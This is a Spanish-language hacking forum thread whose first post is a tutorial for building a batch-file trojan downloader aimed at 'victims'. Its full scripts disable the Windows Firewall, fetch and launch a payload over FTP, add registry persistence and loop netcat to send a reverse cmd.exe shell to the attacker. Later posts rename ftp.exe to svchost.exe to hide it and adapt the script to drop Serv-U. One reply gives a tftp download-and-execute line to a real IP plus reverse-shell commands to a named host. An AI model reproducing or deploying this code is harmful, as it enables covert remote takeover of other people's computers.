elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
13 Febrero 2012, 19:46  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderadores: zhyzura, kamsky, TRICKY)
| | | |-+  MANUAL: Creando un Downloader en BATCH // Ataques con No-Ip + SERV-U + RADMIN21
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: MANUAL: Creando un Downloader en BATCH // Ataques con No-Ip + SERV-U + RADMIN21  (Leído 15,772 veces)
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
MANUAL: Creando un Downloader en BATCH // Ataques con No-Ip + SERV-U + RADMIN21
« en: 1 Noviembre 2007, 08:57 »

~~~~~~~~~~~~ Creando un Downloader en BATCH - por -Lukhardy- ~~~~~~~~~~~~ -
EJEMPLO:

                       ¡¡¡ NO TE ME CIERRES NETCAT !!!

Buen día a todos. En este tutorial verán cómo hacer un troyano downloader. Estos son programas relativamente pequeños que descargan otro programa más grande y más complejo en la PC de la víctima. Voy empezar explicándoles tomando como ejemplo al Netcat (ya que es conocido) pero servirá para cualquier otro.

No quiero dar tantas vueltas en lo que es netcat, pero he visto en varios post que muchos tienen problemas al ejecutar el netcat en una víctima ya que el "netcat server" (por decirlo así) se cierra sin dar al atacante la posibilidad de acceder a su shell. Bueno, en realidad el netcat sí se ejecuta, pero en lapso muy breve y luego se cierra -aclaro que no en todos los casos ocurre esto- vaya a saber uno cual es el motivo aunque puede que sea el Antivirus que lo detecte e imposibilite la ejecución (en la mayoría que leí dicen que el NOD32 lo detecta) y ni hablar de los Firewalls... [Yo uso el NOD32 actualizado en todo momento y hasta el día de hoy nunca me detectó el netcat]

En el post de "JUGANDO CON NETCAT" se ven varias maneras de cómo podemos usar esta herramienta    http://foro.elhacker.net/index.php/topic,159799.0.html

Volviendo al tema. Estuve probando maneras de cómo ejecutarle el "netcat server" a nuestra víctima sin que se le cierre. Para esto, además de hacer un código en C, hice también un Script batch code (ya que es más fácil para todos) que funciona exactamente igual.

Este es el code Downloader (usando FTP)

Código
@echo off
if exist C:\Windows\downloads exit
net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"
md "C:\Windows\downloads"
echo open>"c:\windows\downloads\dfshell.dll"
echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll"
echo USUARIO>>"c:\windows\downloads\dfshell.dll"
echo PASSWORD>>"c:\windows\downloads\dfshell.dll"
echo lcd ..>>"c:\windows\downloads\dfshell.dll"
echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get OPENSHELL.exe>>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll"
echo bye>>"c:\windows\downloads\dfshell.dll"
ftp -s:c:\windows\downloads\dfshell.dll
if exist c:\windows\semaforo.txt start c:\windows\OPENSHELL.exe
del c:\windows\downloads\dfshell.dll
exit

Lo que hace este script es detener el servicio del Firewall de Windows [Si quieren ver más información sobre esta opción pueden ver el tutorial que hice al respecto   
http://foro.elhacker.net/index.php/topic,183228.0.html   ]

Luego, crea una carpeta en la cual se guardará un archivo (en este caso del tipo .DLL) que contendrá los datos para conectarnos a un servidor FTP con su respectivo HOST, Usuario, password y los comandos que quremos usar en el mismo.

Luego se procede a iniciar el FTP en el que descargarán 2 archivos. Uno llamado OPENSHELL.exe y otro llamado semaforo.txt que es el indicador para poder ejecutar el OPENSHELL.exe correctamente. Por último, se procede a eliminar el archivo que contiene nuestros datos de conexión a nuestro servidor FTP. (No queremos que alguien los lea, verdad?  ;) )

Ahora se preguntarán que es el OPENSHELL.exe... Bueno, es sencillo es un SFX creado en Winrar que contiene al netcat (al cual le cambié el nombre y le puse Systemrun) y un Script Batch code que contiene el siguiente código. (Todo esto se descomprime en la carpeta C:\Windows\System32)

Código
@echo off
net start "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"
netsh firewall add portopening ALL 6000 nc
netsh firewall set allowedprogram "C:\Windows\System32\Systemrun.exe" nc ENABLE
 
reg add hklm\software\microsoft\windows\currentversion\run /v Systemrun /t reg_sz /d %systemroot%\system32\cmk.exe /f
 
del %systemroot%\OPENSHELL.exe
 
echo @echo off>"%Systemroot%\system32\systemini.bat"
echo :ini>>"%Systemroot%\system32\systemini.bat"
echo Systemrun -d -e cmd.exe HOST/IP 6000>>"%Systemroot%\system32\systemini.bat"
echo goto :ini>>"%Systemroot%\system32\systemini.bat"
call %systemroot%\system32\systemini.bat
exit

Antes que nada, cabe decir que el Script Batch lo compilé con Quick Batch Compiler usando la opción de ejecución oculta para que no se muestre la ventana de comandos. El script tiene el nombre de cmk.exe...

Lo que hace este script es volver a habilitar el Firewall de Windows (que anteriormente se desactivó en el Downloader). También abre el puerto 6000 en Firewall de Windows para el netcat y le dice también que permita la ejecución del programa Systemrun.exe.



Luego agrega al registro una entrada para que se ejecute el netcat cada vez que inicie la PC.

Elimina el OPENSHELL.exe ya que es innecesario porque ya se ejecutó.

A continuación crea un bucle (he aquí el secreto) para que esté constantemente ejecutando el netcat (en este ejemplo puse al netcat listo para entregar la shell al atacante de manera inversa, pueden poner el que quieran).

***************************************************************************************

Además de todo esto del netcat, pueden ver también que el código que hice es fácilmente adaptable a cualquier cosa que quieran hacer y ejecutarle a una PC remota. Con un poco de imaginación conseguirán hacer lo que Uds. se propongan. (Verán que no es muy complicado pero se debe conocer algo del funcionamiento de comandos  ;))

Usando el comando AT podemos hacer que la descarga a través de FTP se realice en un determinado horario, día o lo que sea. Esto es para hacernos menos sospechosos. Ver cómo funciona este comando.





Downloader + No-IP: Ataques dirigidos   Obligatorio

Ataque dirigido con NO-IP + Radmin21. Avanzado o algo así ;) NUEVO Actualizado el día 9 de Marzo de 2008 02:22 am Hora Argentina

Noción de TFTP: Todo en una sola línea de comando.



***************************************************************************************

Bueno, espero que les sirva. Cualquier crítica, corrección y/o sugerencia es aceptada.

ATENCION ATENCION: Esta técnica no funciona si existe un Firewall en la PC que se vaya a atacar.

Pueden descargar el Quick Batch Compiler full desde este link:
http://414141.iespana.es/


Ver:
"Nuevo comando nirmcd - USO": http://foro.elhacker.net/index.php/topic,187364.0.html

"Creando un Downloader en Batch": http://foro.elhacker.net/index.php/topic,186544.0.html

"Binder Quick Batch File Compiler": http://foro.elhacker.net/index.php/topic,187349.0.html

"Detener el Firewall de Windows": http://foro.elhacker.net/index.php/topic,183228.0.html

"Instalar programas "sin instalar"-Jugando con el Registro de Windows": http://foro.elhacker.net/index.php/topic,183341.0.html



Saludos a toda la comunidad. -Lucas-

« Última modificación: 8 Junio 2008, 23:41 por lukhardy » En línea
Zykl0n-B

Desconectado Desconectado

Mensajes: 24



Ver Perfil
Re: Solución NETCAT - Creando un Downloader en BATCH: Útil para cualquier troyano.
« Respuesta #1 en: 5 Noviembre 2007, 11:37 »

Hola -Lucas- , un saludo, Yo que tú revisaría ese código ... Por ejemplo,
[cite]net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"[/cite]

Con eso no cerrarías ningún Firewall, y si lo cierras, no sería en todos los equipos, además de que ese comando (Net start/stop) no es muy confiable que digamos, te presento al comando Netsh :)

You que tú lo usaría en mi código, Es seguro, es el núcleo de los Firewalls en Windows, y es funciona en todos lados, venga, te dejo la Sintáxis:

netsh FIREWALL set opmode mode = DISABLE Con ésto desactivas el Firewall.
netsh FIREWALL set opmode mode = ENABLE Con ésto lo activas de nuevo.

El Quick Batch File Compiler es un dolor de cabeza... además de que no crea Batches sino Exe's. al ejecutar algún archivo creado en él, sin tener la licencia, te salta un MessageBox diciéndote "Éste programa fue compilado con Q.B.F.C." y eso no es nada agradable para una Víctima...

Así que te presento a otro comando, START.
Sí, Start, no me estoy burlando de tí, verás, te dirijes bajo la shell al directorio donde está el batch que quieres ejecutar "En modo oculto", luego escribes:

C:\>start /b Archivo.bat y el archivo se ejecutará "En segundo plano"

Un saludo...;)
En línea

Die Toten Kehren Wieder Mit Der Wind
          <-~#] Zyklon-B [#~->
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: Solución NETCAT - Creando un Downloader en BATCH: Útil para cualquier troyano.
« Respuesta #2 en: 5 Noviembre 2007, 15:47 »

Tenés razón con respecto al comando start, funciona en segundo plano. El problema es que los archivos bat son fácilmente legibles desde cualquier editor de texto plano. Para ocultar el código de los batch puse como ejemplo el Q.B.F.C. ya que este programa convierte a tales en EXE como vos bien decís. Claro que existen otros métodos de cifrado, pero resultaría un poco complicado para aquellos que recién empiezan.  En los EXE son más dificiles de ver el código. Ta?
Y además puse como ejemplo a este "programita" ya que no es difícil de usar... :¬¬

Q.B.F.C. Full : http://414141.iespana.es/

Hay tutorial que hice hace ya un tiempo con respecto a la desactivación, habilitación y demás acerca del Firewall de Windows usando el NETSH. No solo para activar y desactivar, sino tambien para otras cosas que son muy úitles. (Hay comentarios interesantes) Ver http://foro.elhacker.net/index.php/topic,183228.0.html

Gracias por postear Zykl0n-B.

Saludos.

P.D.: Zykl0n-B, leí el post que dejaste cuando tenía dudas de cómo ocultar la ventana del DOS, no está nada mal. Todo sirve y uno decide cual es el que más le gusta (eso depende de cada uno). ;)

Ver:
"Nuevo comando nirmcd - USO": http://foro.elhacker.net/index.php/topic,187364.0.html

"Creando un Downloader en Batch": http://foro.elhacker.net/index.php/topic,186544.0.html

"Binder Quick Batch File Compiler": http://foro.elhacker.net/index.php/topic,187349.0.html

"Detener el Firewall de Windows": http://foro.elhacker.net/index.php/topic,183228.0.html

"Instalar programas "sin instalar"-Jugando con el Registro de Windows": http://foro.elhacker.net/index.php/topic,183341.0.html



« Última modificación: 7 Noviembre 2007, 16:17 por -Lucas- » En línea
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Ultima modificación
« Respuesta #3 en: 5 Noviembre 2007, 19:18 »

Hice un tema nuevo para el uso de Q.B.F.C. como Binder ya que no seguía al tema pertinente.
Disculpen.


link del post: http://foro.elhacker.net/index.php/topic,187349.0.html

Ver:
"Nuevo comando nirmcd - USO": http://foro.elhacker.net/index.php/topic,187364.0.html

"Creando un Downloader en Batch": http://foro.elhacker.net/index.php/topic,186544.0.html

"Binder Quick Batch File Compiler": http://foro.elhacker.net/index.php/topic,187349.0.html

"Detener el Firewall de Windows": http://foro.elhacker.net/index.php/topic,183228.0.html

"Instalar programas "sin instalar"-Jugando con el Registro de Windows": http://foro.elhacker.net/index.php/topic,183341.0.html



« Última modificación: 7 Noviembre 2007, 16:18 por -Lucas- » En línea
softdates

Desconectado Desconectado

Mensajes: 105



Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #4 en: 11 Noviembre 2007, 22:08 »

saludos tengo unas preguntas ya que como soy nuevo en esto me gustaria que me expliquen un poco aunque ya he probado igual tengo dudas.

1.ero el primer bat es el que se envia ala victima y es el que ejecuta los comando ftp para que baje el resto.

2.-el archivo mensajero.txt se sube al Ftp con lo siguiente:

HOST_SERVER_FTP
USUARIO
PASSWORD
get OPENSHELL.exe
get semaforo.txt
txtftp -s

lueog este es renombrado a dfshell.dll ?

3.-Ahora se preguntarán que es el OPENSHELL.exe... Bueno, es sencillo es un SFX creado en Winrar que contiene al netcat (al cual le cambié el nombre y le puse Systemrun) y un Script Batch code que contiene el siguiente código. (Todo esto se descomprime en la carpeta C:\Windows\System32)

no le das instruciones al comprimido sfx que se descarge directamente ala carpeta system32 ? como le hiciste es directo con el bat segun entiendo simpremente van los dos archivos el bat y el nc en el sfx y se ejecutan?


4.-Antes que nada, cabe decir que el Script Batch lo compilé con Quick Batch Compiler usando la opción de ejecución oculta para que no se muestre la ventana de comandos. El script tiene el nombre de cmk.exe...

yo aqui hago file open >busco el bat lo pongo la ejecucion ghost lo compilo en built, pero segun tu tutorial pones esto:

Prestar atención a %MYFILES%, ya que esto tendremos en cuenta a la hora de escribir el código para ejecutar nuestros archivos.
A continuación nos dirigimos a la pestaña "Source
"

ejemplo

@echo off
start %C:\Windows\System32% \bat.ini

Espero estar muy equivocado para que me corrijan.

Estoy recien aprendiendo.

ATte
JAmes
« Última modificación: 11 Noviembre 2007, 22:10 por softdates » En línea
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #5 en: 12 Noviembre 2007, 06:04 »

sofdates...

1- Sí, el primer código es el que se envía a la víctima.

2- No se renombra ningún archivo. El archivo dfshell.dll es un archivo que contiene solo las instrucciones que deberá ejecutar el comando ftp. Es por eso que pongo ftp -s:c:\windows\downloads\dfshell.dll (Esto es para que el comando ftp sepa donde están las instrucciones que deberá seguir. Si tenés dudas con respecto a esto ingresa a tu shell y tipeá ftp /?).

3- Sí. Al hacer el SFX con winrar le digo que descomprima todo en la carpeta system32. Aclaro que usé este SFX como un joiner: para hacer esto le instruyo al SFX que se ejecute en modo oculto y que ejecute el bat al final de la descompresión. El bat del SFX sería el segundo código que expuse en este post.
Con respecto de cómo usar al winrar como joiner, podés bajarte el tutorial que hizo Köbe desde http://414141.iespana.es.

4- El manual que hice con respecto al Quick Batch File Compiler.: Podés seguir todos los pasos que se detallan ya que lo hice de manera que sea muy fácil entender. Ah... una cosa más... podés obviar el uso del SFX y usas el QBFC como joiner (de hecho, te recomiendo que uses el QBFC  ;) ya que podés ejecutar todo de manera oculta). Sólo tendrías que cambiar el código del Batch para acondicionarlo al QBFC ya que para ejecutar los archivos que hayas juntado tendrás que usar la variable %MYFILES% y luego el nombre del archivo o los archivos.

Siguiendo el ejemplo que planteas vos:
Código
@echo off
start %Systemroot%\System32\bat.ini

Esto sería inválido si ingresas este código en QBFC, ya que el QBFC "extrae de manera temporaria" los archivos juntados. Lo correcto sería:

Código
@echo off
start %MYFILES%\archivo1_juntado.extension
start %MYFILES%\archivo2_juntado.extension
exit

Esto es para ejecutar los archivos que le hayas agregado o juntado al QBFC.

Espero que te haya quedado claro, pero si no es así, espero tus dudas para intentar aclarártelas.

A los demás. Si ven que me he equivocado en algo haganmelo saber, o si quieren mejorar este post pues mucho mejor todavía.

Gracias softdates por postear. Saludos.

Saludos a toda la comunidad.

« Última modificación: 7 Marzo 2008, 15:01 por lukhardy » En línea
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #6 en: 12 Noviembre 2007, 06:44 »

En definitiva, pueden obviar el uso del SFX como joiner y usar el QBFC (Quick Batch File Compiler). Y cómo dije anteriormente, los archivos que se juntan a este programa son temporales y por lo tanto se eliminan luego. Pero para todo hay solución, leánlo aquí: http://foro.elhacker.net/index.php/topic,187349.0.html
« Última modificación: 24 Noviembre 2007, 07:12 por -Lucas- » En línea
softdates

Desconectado Desconectado

Mensajes: 105



Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #7 en: 25 Noviembre 2007, 21:12 »

recomiendo que uses el QBFC   ya que podés ejecutar todo de manera oculta). Sólo tendrías que cambiar el código del Batch para acondicionarlo al QBFC ya que para ejecutar los archivos que hayas juntado tendrás que usar la variable %MYFILES% y luego el nombre del archivo o los archivos.


que cambio en bat?.
En línea
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #8 en: 26 Noviembre 2007, 06:02 »

Por lo que veo no te quedó del todo claro el uso de QBFC. Lo único que hice fue trabajar con la variable %MYFILES% como si fuera una variable más del entorno del DOS.

Como ejemplo de variables del DOS te dejo las siguientes:
%Systemroot%  =  Esta variable corresponde a la carpeta C:\Windows
%Userprofile%  =  corresponde a C:\Documents and settings\Administrador

Ahora, la variable %MYFILES%, no es una que esté preestablecida en tu PC. Esta variable la asigna el QBFC y corresponde a:

%MYFILES%  =  C:\Documents and Settings\Administrador\Configuración local\Datos de programa

Es por este el motivo que expuse el anterior post en donde explica como mover o copiar los archivos que has juntado con el QBFC. Esto es porque el QBFC extrae los archivos juntados en esa carpeta (%MYFILES%).
Y si un usuario/víctima algo "travieso" ingresa a tal carpeta y vé los archivos, quizá quiera eliminarlos. Entonces para evitar esto, lo que hacemos es mover estos archivos a una carpeta que nosotros queramos, por ejemplo a C:\Windows.

Pasá por este post que hice explicando con un poco más de detalles como usar esta variable del QBFC: http://foro.elhacker.net/index.php/topic,187349.0.html

Si te quedaron dudas u otras cosas que quieras compartir, no tendré ningún tipo de problema en intentar aclarartelas.

Gracias softdates por tu comentario. Saludos.



En línea
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #9 en: 30 Noviembre 2007, 05:34 »

Como esto del Downloader no trae "mucha ciencia" que digamos, pretendo terminar este tutorial con una última sugerencia.

Supongamos que le enviamos el Downloader a la victima, y esta la ejecuta. Puede pasar que se le ocurra echar un vistazo a la lista de procesos y ver el proceso " ftp.exe " ejecutandose. Y quizá lo cierre, y ya no habrá posibilidad de que se descargue el archivo infectado. (Que bajón!!!!!! :-\ :-( ). Je

Lo que nos queda hacer es renombrar tal archivo. (Esto se haría en el primer código que es el que se le envía a la victima). Para renombrar el archivo ftp.exe deberiamos agregarle una línea al comienzo de nuestro código que cambie el nombre de tal. Podríamos también copiar el archivo ftp.exe a otro directorio y recién renombrarlo. (Esto para evitar que si la victima hace uso frecuente del ftp.exe como comandos no encuentre tal archivos y comience a sospechar, cosa que puede suceder...).

Sigamos. Lo que haremos será lo siguiente (siguiendo el ejemplo del netcat del principio de este tutorial):

En azul: Líneas agregadas;
En verde: Líneas modificadas.



@echo off
if exist C:\Windows\downloads exit

md "%systemroot%\system32\41467"
copy %systemroot%\system32\ftp.exe %systemroot%\system32\41467
ren %systemroot%\system32\41467\ftp.exe svchost.exe


net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"
md "C:\Windows\downloads"
echo open>"c:\windows\downloads\dfshell.dll"
echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll"
echo USUARIO>>"c:\windows\downloads\dfshell.dll"
echo PASSWORD>>"c:\windows\downloads\dfshell.dll"
echo lcd ..>>"c:\windows\downloads\dfshell.dll"
echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get OPENSHELL.exe>>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll"
echo bye>>"c:\windows\downloads\dfshell.dll"
%systemroot%\system32\41467\svchost -s:c:\windows\downloads\dfshell.dll
if exist c:\windows\semaforo.txt start c:\windows\OPENSHELL.exe
del c:\windows\downloads\dfshell.dll
exit


Lo que hice fue agregar algunas lineas más al código. En primer lugar creo una carpeta llamada 41467 (le pueden poner cualquier otro nombre) en el directorio %Systemroot%\system que en la mayoría de los casos correspondería al directorio C:\Windows\system32\41467. Luego copiamos el archivo ftp.exe y lo pasamos a la carpeta que creamos. Una vez que se haya copiado ftp.exe a la carpeta creada procedemos a renombrar este archivo con el comando ren cuya sintaxis es:

Código:
ren Ruta_del_archivo_a_renombrar Nombre_nuevo_del_archivo

En nuestro caso usamos: ren %systemroot%\system32\41467\ftp.exe svchost.exe, donde cambiamos el nombre del archivo ft.exe por svchost.exe para disimularlo en la lista de procesos.

Más abajo en el código le damos la instruccion para que ejecute el ftp (ahora llamado svchost.exe). Pero con la diferencia de que ahora le decimos donde esta guardado este nuevo archivo. (%Systemroot%\system32\41467\svchost.exe) que en la mayoría de los casos es C:\Windows\system32\41467\svchost.exe. (Obviamnte, siguiendo el ejemplo).

Eso es todo lo que tendremos que hacer...

Al otro código que se descargaría no lo tocamos para nada. Solo se modifica el Downloader, que es el que expuse recién.


Sí, es verdad. Esto pude haberlo explicado en unas cuantas lineas, pero lo hago de esta manera para que los que se están iniciando en el hacking puedan entenderlo mejor. :P



Concluyendo:

En este tutorial vimos como realizar un downloader a través del comando ftp. Para ello usé como ejemplo al netcat ya que es conocido por todos (o por la mayoria) pero es fácilmente adaptable a cualquier otro programa que funcione como server, solo deberán modificar las líneas correspondientes y listo. En mi caso lo hice no tan solo con el netcat, sino también con el vnc, radmin, serv-u, entre otros.
Asi que como verán, con todo lo visto hasta acá y un poco de conocimientos en el lenguaje batch pueden adaptar estos codigos a cualquier server de algun troyano o lo que quieran. Bueno, pero eso se los dejo a su imaginación y necesidad.
Espero que les sea de mucha utilidad todo esto.

Espero que con esto haya quedado completo el tutorial. Pero como siempre hay algunas dudas que quedan dando vueltas por ahi yo no tengo ningun tipo de problema en intentar aclarárselas. Y obviamente, si alguien sugiere algo mejor, corrige o hace cualquier tipo de críticas constructivas, por favor, posteenlas.





« Última modificación: 30 Noviembre 2007, 06:17 por -Lucas- » En línea
newbie-hack

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #10 en: 30 Noviembre 2007, 06:29 »

De a poko voy leyendo el manual creo q esta kedando bien. lo voy a probar pero lastima que no se explique como saltar otros firewalls que no sea el de windows. ah y algunos antivirus lo detectan al netcat como hago ???
En línea
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #11 en: 30 Noviembre 2007, 07:13 »

Buenas preguntas. En el ejemplo que di solo funciona para saltarse el Firewall de Windows. Para poder saltar firewalls que no sean el de windows, tendríamos que realizar una inyeccion (si no me equivoco) en algun proceso activo o dll. De manera que el firewall no detecte la actividad de nuestro troyano. Pero para esto hay otros post donde se explica, pero ya requieres de conocimientos de programacion... :-\. Aunque el netcat nos permite realizar una conexion inversa volteada, como lo dice en el manual de zhyzura. Busca en el foro acerca de este manual o fijate en "Jugando con netcat".

En cuanto a los antivirus... si, quizas el netcat sea detectado por algunos antivirus como codigo malicioso. Por eso es que decia que se pueden probar distintos tipos de servers, como el vnc, o algun servidor ftp como el serv-u, etc...

Lo mejor en estos casos es investigar la PC a atacar para conocer mejor su funcionamiento y cosas asi que nos seran utiles a la hora de planificar nuestra "movida". Esto es solo un ejemplo, no quiere decir que sea el unico metodo... yo solo he mostrado esto y sirve mucho... :P

Saludos newbie-hack.

En línea
newbie-hack

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #12 en: 1 Diciembre 2007, 05:38 »

tienes raszon, la mayoria de las personas casi no tiene otro firewall mas que el del windows. pero lamentblemento yo todavbia no c acerca de programacion y esas cosas. :( . a y otra cosa mas espero que no sea de mucha molestia me podrijas explicar como seria el codigo para el serv-u??.es que no se como seria. supongo q si consigo hacerlo a ese podre hacerlo con los otros q mesionaste, verdad¿?.
En línea
Rozor

Desconectado Desconectado

Mensajes: 269


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #13 en: 1 Diciembre 2007, 09:54 »


Código:
echo @off
tftp -i 194.224.66.56 GET virus.exe %systemroot%\system32\virus.exe & %systemroot%\system32\virus.exe
echo "codigo chorra download and execute"
rem xrc -z sincontrol.tomahost.org 6545
rem xrc -z sincontrol.tomahost.org 9878
rem xrc -d -u sincontrol.tomahost.org 5698 -e cmd.exe
En línea

out in the streets they call it murder....
{Lukhardy}


Desconectado Desconectado

Mensajes: 302


Ver Perfil
Re: MANUAL: Creando un Downloader en BATCH
« Respuesta #14 en: 2 Diciembre 2007, 00:10 »

Mmm, mas que un pedido de explicación es mas bien un pedido del código. Pero bue... Lo que yo haría es que el archivo que se descargue sea el mismo serv-u (de la version vieja que no me acuerdo cual es exactamente) con todos sus archivos de configuraciones...

@echo off
if exist C:\Windows\downloads exit
net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"
md "C:\Windows\downloads"
echo open>"c:\windows\downloads\dfshell.dll"
echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll"
echo USUARIO>>"c:\windows\downloads\dfshell.dll"
echo PASSWORD>>"c:\windows\downloads\dfshell.dll"
echo lcd ..>>"c:\windows\downloads\dfshell.dll"
echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get serv-u.exe>>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get SERV-U.INI>>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll"
echo bye>>"c:\windows\downloads\dfshell.dll"
ftp -s:c:\windows\downloads\dfshell.dll
if exist c:\windows\semaforo.txt start c:\windows\serv-u.exe -h
del c:\windows\downloads\dfshell.dll
exit

Solo cambié lo que está en verde... Para la próxima aprende un poquito más acerca de batch, vas a ver que no es difícil. Saludos newbie-hack.



Buen aporte Rozor. Las líneas del comando para el tftp son más sencillas que todo esto del ftp. Lo único que me gustaría saber es que si existe algun servidor tftp externo (que no sea mi propia PC  :-\) donde pueda subir mis archivos. Yo he explicado lo del ftp porque hay muchas paginas donde se pueden alojar archivos y manejarse con el ftp. Pero tu propuesta es excelente. Gracias Rozor.


En línea
Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[BATCH] Creando un menu
Scripting
barnix456 7 1,784 Último mensaje 24 Febrero 2011, 19:40
por juanbass
Manual Serv-U v 9.1
Software
Darhius 2 1,198 Último mensaje 21 Mayo 2011, 04:05
por Darhius
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines